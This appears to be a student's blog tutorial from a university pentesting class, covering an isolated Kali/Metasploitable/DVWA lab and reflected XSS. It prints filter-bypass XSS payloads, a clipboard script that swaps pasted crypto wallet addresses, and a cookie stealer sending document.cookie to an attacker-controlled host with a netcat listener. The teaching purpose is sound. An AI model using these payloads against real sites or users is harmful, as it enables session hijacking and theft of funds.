Basic Introduction to Penetration Testing – some basics & reflected XSS (Session 1 - Part 1)
Table of Contents
🧠 Introduction
This post covers Part 1 of my first penetration testing lecture at university.
We’ll walk through how to set up your own isolated pentesting lab using Kali Linux, Metasploitable 2, and DVWA (Damn Vulnerable Web App), all safely contained within a virtual environment.
This isn’t just a technical write-up — it’s the actual process I went through, including what worked, what didn’t, and what to double-check before you start poking around with exploits.
🧪 Lab Setup
To build our lab environment, we used:
- 🐱 Kali Linux – for scanning, scripting, and exploitation
- 🧱 Metasploitable 2 – intentionally vulnerable target machine
- 🖥️ VMware Workstation Player or VirtualBox – for virtualization
📝 I already had Kali set up as a VM, and downloaded Metasploitable from VulnHub. The
.vmdk
file (virtual disk) isn’t directly bootable — you’ll need to create or import a VM that uses it via a.vmx
file.
🌐 Network Configuration – What You Must Get Right
❌ Rule #1: Don’t Expose Metasploitable to the Internet
Metasploitable is intentionally riddled with vulnerabilities. If it’s visible to your home network or the open internet, it’s an active security risk. There are even automated tools scanning for it online.
Instead, isolate it inside a host-only or private NAT network.
🔧 VMware Networking Modes Explained:
Mode | Internet | Can talk to Kali? | Visible to your LAN? | Use case |
---|---|---|---|---|
Host-only | ❌ No | ✅ Yes | ❌ No | ✅ Best for safe labs |
NAT | ✅ Yes | ✅ Yes (same NAT) | ❌ No | ⚠️ Only for Kali internet |
Bridged | ✅ Yes | ✅ Yes | ✅ Yes (LAN exposed) | ❌ Dangerous for testing |
💡 Recommended Setup:
Kali VM:
- NIC 1: Host-only (isolated lab)
- NIC 2: NAT (for internet access, updates)
Metasploitable VM:
- NIC 1: Host-only (lab only, no internet)
- NIC 2: Host-only (lab only, no internet)
(Only one NIC is really needed here, unless you’re experimenting with routing later.)
But what is NIC really and why are there two to begin with?
Having two NICs (Network Interface Cards) in Kali allows it to act as a bridge between the isolated lab environment and the internet — one interface handles safe internal traffic (Host-only), while the other provides external access (NAT) for updates, tools, or exploit downloads.
This way, Kali can scan and interact with Metasploitable, but Metasploitable stays locked inside your lab, with zero exposure to the outside.
🚀 Starting Metasploitable
Once your VM is imported and your network config is correct:
- Boot Metasploitable
- Login with default credentials:
username: msfadmin
password: msfadmin
- Check its IP with:
ifconfig
or (on newer distros):
ip a
You should see something like 192.168.56.x (if you’re using host-only).
💡 Mini Excursus –
ipconfig
vsifconfig
vsip
I confusedipconfig
withifconfig
— easy mistake:
🪟ipconfig
is for Windows.
🐧ifconfig
is the classic Linux command, but it’s now considered outdated.
✅ Modern Linux systems useip
, likeip a
for listing interfaces.
Worth remembering early.
🌐 Accessing DVWA from Kali
Now, go to your Kali browser and enter Metasploitable’s IP, like this: http://192.168.56.101/ If everything’s working, you should land on the starting screen where you can now select DVWA.
🧠 Wait… Why Do All These Lab IPs Look Like 192.168.x.x?
If you’ve ever set up a local network or looked at your home router, you’ve probably seen IP addresses like:
192.168.0.1
192.168.56.101
These aren’t random — they’re part of the private IP address ranges reserved by the Internet Engineering Task Force (IETF) . The three most common ones are:
192.168.0.0/16
172.16.0.0/12
10.0.0.0/8
Devices in these ranges can’t be reached directly from the internet — they’re designed for internal networks only.
That’s why Kali and Metasploitable show IPs like 192.168.56.101 — they live inside a virtual local network your hypervisor (VMware, VirtualBox) creates.
🔒 Bottom line: If you see an IP starting with 192.168, you’re in your own little hacker playground. The world can’t see in — and (for now) you can’t break out. 😈
I’m going to trust you in finding out the login credentials for DVWA :D very basic combination.
Once logged in, go to the DVWA Security settings and set it to Low to begin experimenting.
🔍 What Is XSS, Actually?
Cross-Site Scripting (XSS) is when untrusted user input gets “unsafely interpolated” into a web page — without proper escaping or validation — and then executed by the victim’s browser.
This allows an attacker to inject HTML, JavaScript, or other browser-parsed content.
🧪 Classic Examples:
<meta http-equiv="refresh" content="3; url=http://example.com">
<script>alert("XSS")</script>
The impact depends on where and how the input is reflected:
Type | Description | Persistence |
---|---|---|
Reflected | Injected via request, reflected immediately in the response | 🔄 One-time, per request |
Stored | Payload is saved on the server and executed for all users | ♾ Persistent |
🧰 Testing Reflected XSS in DVWA
We used the Damn Vulnerable Web App (DVWA) and Burp Suite to explore this vulnerability.
Start with the “Low” security level and try:
<script>alert("hi")</script>
💥 Success — the payload is reflected and executed instantly.
💡 How do you know it’s reflected and not stored?
If you refresh the page or make a second request and the payload is gone, it’s reflected.
Stored XSS would persist across requests or reloads.
🧠 Mini Excursus: Crypto Stealers & Copy-Paste Traps
You might think XSS is mostly alert boxes and harmless popups — but it’s far from a joke in the real world.
One clever — and sadly common — use case is stealing cryptocurrency through copy-paste manipulation.
🪙 How it works
Many users copy their wallet address (from an exchange or wallet app), then paste it into a form, payment screen, or transfer box.
A malicious website or browser extension, using injected JavaScript, can detect this action and silently replace the clipboard content with the attacker’s own wallet address.
Example:
<input type="text" onpaste="setTimeout(() => this.value = 'attacker_wallet_address', 1)">
Or even more subtle:
document.addEventListener("paste", function(e) {
e.preventDefault();
const clipboard = e.clipboardData || window.clipboardData;
const original = clipboard.getData('text');
if (original.startsWith('bc1') || original.length > 30) {
e.target.value = 'attacker_wallet_address';
}
});
This replaces the address as soon as it’s pasted — often without the user noticing, especially if it’s visually similar.
🧠 The JS Clipboard API
The modern Clipboard API even allows direct access to read or write clipboard content:
navigator.clipboard.readText().then(text => {
if (text.includes("eth") || text.startsWith("1") || text.length > 25) {
navigator.clipboard.writeText("attacker_wallet_address");
}
});
This means malicious scripts can replace the clipboard value in the background, outside of input fields.
💡 Modern browsers restrict this API to trusted user interactions (like clicking a button), but poorly coded extensions or misconfigured CSPs can be exploited.
🎯 Why this matters
This is a real-world example of client-side JavaScript being used for financial theft.
Crypto transactions are irreversible — if a wallet address is changed without detection, the funds are gone. No chargebacks, no refunds.
This kind of attack is often part of:
- XSS payloads on crypto dashboards
- Fake DApp phishing portals
- Malicious browser extensions
✅ Takeaway for Pentesters
If you’re testing crypto-related apps, don’t stop at just finding an XSS point — ask:
- Can this XSS be used to access or modify clipboard data?
- Can I inject something into input fields or manipulate auto-fill?
- Is there any user interaction (like paste, drag-drop, or type) I can hook into?
Even the smallest reflected XSS, when combined with a clipboard trap, could lead to wallet hijacking.
🔗 Bonus: Try It Yourself
Want to test clipboard behavior?
Create a basic HTML page like this:
<button onclick="navigator.clipboard.writeText('LOL_HACKED')">Click Me</button>
<input placeholder="Try pasting here">
Now copy something else, click the button, and paste.
This is how simple it can be if the API is not secured properly.
Client-side security isn’t just about preventing
<script>alert(1)</script>
— it’s about protecting user interaction itself. And in crypto, that’s where the money is.
Let me know if you want a second section on how to defend against this (like strict CSPs, input integrity checks, or trusted device verification)!
🔐 From Low to Medium: Bypassing Filters
In “Medium” security mode, DVWA introduces some basic filters — usually blocking <script>
tags.. or does it?
Try alternative payloads like:
<img src=x onerror=alert(1)>
Or use mixed casing and tag obfuscation:
<sCrIpT>alert(1)</sCrIpT>
<scr<script>ipt>alert(1)</scr<script>ipt>
✅ Still works — the filter doesn’t sanitize attributes like onerror
, neither does it really sanitize script tags - it just searches for <script>
once and deletes it .
📎 Helpful Resources
Here are some pages I found useful for learning XSS techniques and escaping detection:
- 🧠 Cure53 Papers – Research-focused but insightful
- 📚 OWASP XSS Prevention Cheat Sheet
- 🔧 HackTricks XSS Payload Collection
- 🧪 Burp DOM Invader – I just wanted to mention it to you as our professor told us about it, it will be a bigger part in future sections.
📌 Idea: I’m planning to create a dedicated Tools & Resources page on my blog soon — to track cheat sheets, labs, and scripts I find useful - Should be helpful right?
🧠 Mini Excursus: Reload vs Resubmit vs “Hitting Enter”
Another thing that came up in class — and it’s surprisingly important in pentesting:
Hitting “Reload” in your browser ≠ pressing Enter in the URL bar, and both are not the same as resubmitting a POST request.
Action | What It Does | Notes |
---|---|---|
🔄 Reload | Resends the last request | Typically a GET , unless it follows a POST , in which case you’ll get a warning |
🔁 Resubmit (POST) | Happens after form submission | Browser asks: “Resend this data?” — because it’s not idempotent |
💡 Enter in URL bar | Re-parses and sends a fresh request | Often drops headers or cookies depending on the browser/context |
🧠 Browser note:
Chrome and Firefox sometimes behave differently when it comes to referrer headers, cache, and re-parsing URLs — so a reflected XSS payload might trigger on Reload but not when you just hit Enter again in the address bar.
This matters for testing reflected XSS and verifying payload persistence — what feels like a “reload” might actually be a slightly different flow under the hood.
💣 XSS, But Make It Creative
Now that we’ve covered the basics of reflected XSS, it’s time to step up and look at how payloads are actually delivered, disguised, and abused. It’s not always just a <script>alert(1)</script>
— sometimes it’s more subtle, sometimes it’s beautifully chaotic.
🎭 Obfuscation & Alternative Execution Vectors
✅ Beyond <script>
On DVWA “Medium” security, the standard <script>
tag often gets blocked. But browsers still parse and execute code from less obvious vectors.
🧪 Examples that still work:
<img src="x" onerror="alert(1)">
<sCrIpT>alert(1)</sCrIpT>
<scr<script>ipt>alert(1)</scr<script>ipt>
<body onload="alert('XSS via body load')">
<div onclick="alert('clicked!')">Click me</div>
Event handlers like onclick
, onmouseover
, onload
, and onerror
are often overlooked — but very effective in reflected XSS.
💬 Bonus Trick: Browser Functions like print()
Sometimes script tags are filtered, but other global functions are not. Try:
<button onclick="print()">Print me!</button>
You’d be surprised how many filters don’t catch this — especially if you wrap it in an obfuscated DOM element.
📦 Sending a Payload (Cookie Stealer)
Say you want to steal someone’s cookies via XSS. You’d need:
- A payload that reads
document.cookie
- A way to send it to your own server
- A listener to catch incoming requests
🧱 JavaScript Payload:
const url = 'http://<YOUR_IP>:8000/?=' + document.cookie;
let el = document.createElement('img');
el.src = url;
document.body.append(el);
This silently creates an image element that makes a GET request to your server, with the victim’s cookies included in the query string.
🧏 Listener Setup (HTTP-style “Catch Server”):
On your Kali machine:
nc -nlvp 8000
This sets up a simple TCP listener on port 8000 to catch the incoming request — you’ll see something like:
GET /?=SESSIONID1234567890 HTTP/1.1
⚠️ This is not a reverse shell — you’re not getting a terminal, just the HTTP request containing the stolen data.
💡 Try triggering this via a reflected payload like:
http://victim.site/page?search=<your_encoded_payload>
Or wrap it into a disguised clickable link, image, or script injection depending on context.
🔐 Bonus: Tools like
python3 -m http.server
or simple Flask scripts can give you more structured logging and easier testing if you’re collecting multiple requests.
Let me know if you’d like to add a follow-up explaining how this cookie could then be used (e.g., for session hijacking) — will make a killer follow-up to this one!
🧠 Quick Tips
🔓 Client-Side Length Restrictions
Input field won’t let you type more than 20 characters?
That’s only a client-side restriction. You can bypass it easily with Burp Suite or by directly editing the request.
🛠 Modify the POST/GET parameters and inject a full-length payload anyway.
💬 JS String Quotes: ''
vs ""
Both work. The difference is mostly style, except when you’re dealing with nesting.
Example:
onclick="alert('XSS here')"
onclick='alert("Still works")'
Escape as needed — but mixing helps avoid filter detection or quoting issues.
📚 Trusted Sources
If you’re learning XSS and browser-side JS payloads, these are must-bookmark:
- MDN Web Docs (JavaScript) – cleanest docs ever
- HackTricks XSS Cheats
- OWASP Prevention Cheat Sheet
✅ Wrapping Up
This wraps up my intro into web exploitation with XSS.
Reflected XSS is only the tip of the iceberg — but understanding these building blocks is essential before getting into CSP bypasses, DOM-based vectors, or chained client-server attacks.
Stay curious, keep poking things, and always read the source.
💬 (hopefully) coming soon: A dedicated Tools page and a deeper look at DOM-based XSS.